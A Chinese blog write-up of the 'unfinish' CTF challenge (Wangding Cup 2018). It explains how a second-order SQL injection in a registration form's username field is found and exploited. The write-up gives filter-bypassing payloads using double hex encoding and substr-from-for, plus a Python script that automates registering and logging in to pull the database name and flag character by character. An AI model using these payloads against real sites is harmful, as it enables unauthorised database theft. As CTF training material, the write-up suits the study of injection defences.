• 攻防世界-web-unfinish(sql二次注入)


    题目来源:网鼎杯 2018
    题目描述:SQL

    题目如下,是个登录页面

    通过awvs扫描得知存在 register.php 注册页面,并且注册界面存在SQL盲注漏洞。

    题目提示SQL,在注册页面测试无果,且发现输入框限制了特殊字符,要用代理工具提交payload。

    尝试构造sql盲注语句username=alice' and left(database(),1)>'a'#

    得到结果为nnnnoooo!!!

    即存在过滤

    测试发现过滤了逗号、information等,那么使用盲注应该不太行了

    尝试进行正常的注册、登录操作

    发现注册成功时,系统返回302跳转到登录页面(注册失败时系统返回200)

    登录时,使用邮箱和密码登录,登录成功后,系统返回302跳转到index.php页面,显示用户名

    综上,登录时用到的是邮箱和密码,而注册时还有一个用户名,而这个用户名会在登录后显示,所以我们考虑用户名这里可能存在 二次注入 。

    经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。

    构造payload如下

    email=test2%40qq.com&username=0'%2B(select hex(hex(database())))%2B'0&password=123456

    进行两次hex解码后得到数据库名为web

    >>> "373736353632".decode('hex').decode('hex')
    'web'

    然后尝试获取表名失败,因为过滤了information

    看了评论说表名全靠猜哈哈

    至于为什么 payload 要进行两次 hex 加密,看下面这张图就明白了。

    然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度,如下:

    所以这里我们使用 substr 每次取10个字符长度与 '0' 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(str from 1 for 10) (表示截取str字符串的第1个到第10个字符)这种写法来绕过,具体获取 flag 的代码如下:

    email=test3%40qq.com&username=0'%2B(select substr(hex(hex((select * from flag))) from 1 for 10))%2B'0&password=123456

    进行两次hex解码后得到flag的前2位为:fl

    运行脚本如下:

    import requests
    import time
    from bs4 import BeautifulSoup       #html解析器
    
    def getDatabase():
        database = ''
        for i in range(10):
            data_database = {
                'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
                'password':'admin',
                "email":"admin11@admin.com"+str(i)
            }
            #注册
            requests.post("http://220.249.52.133:36774/register.php",data_database)
            login_data={
                'password':'admin',
                "email":"admin11@admin.com"+str(i)
            }
            response=requests.post("http://220.249.52.133:36774/login.php",login_data)
            html=response.text                  #返回的页面
            soup=BeautifulSoup(html,'html.parser')
            getUsername=soup.find_all('span')[0]#获取用户名
            username=getUsername.text
            if int(username)==0:
                break
            database+=chr(int(username))
        return database
    
    def getFlag():
        flag = ''
        for i in range(40):
            data_flag = {
                'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
                'password':'admin',
                "email":"admin32@admin.com"+str(i)
            }
            #注册
            requests.post("http://220.249.52.133:36774/register.php",data_flag)
            login_data={
                'password':'admin',
                "email":"admin32@admin.com"+str(i)
            }
            response=requests.post("http://220.249.52.133:36774/login.php",login_data)
            html=response.text                  #返回的页面
            soup=BeautifulSoup(html,'html.parser')
            getUsername=soup.find_all('span')[0]#获取用户名
            username=getUsername.text
            if int(username)==0:
                break
            flag+=chr(int(username))
        return flag
    
    print(getDatabase())
    print(getFlag())

    运行结果如下:

    参考:

    https://www.secpulse.com/archives/74776.html

    https://blog.csdn.net/qq_41429081/article/details/105600568

  • 相关阅读:
    <img />标签 alt title
    ubuntu中rar与unrar用法详解
    vi及缩进设置
    ubuntu下读取数据库中文乱码解决
    ubuntu下phpstorm无法输入中文的解决办法
    ubuntu下mysqli_connect()显示未定义,mysqli_fetch_all()显示未定义 解决方法
    权限控制
    NULL
    ubuntu下chromium 安装flash player
    手把手教你把Vim改装成一个IDE编程环境(图文)
  • 原文地址:https://www.cnblogs.com/zhengna/p/13595290.html
Copyright © 2020-2023  润新知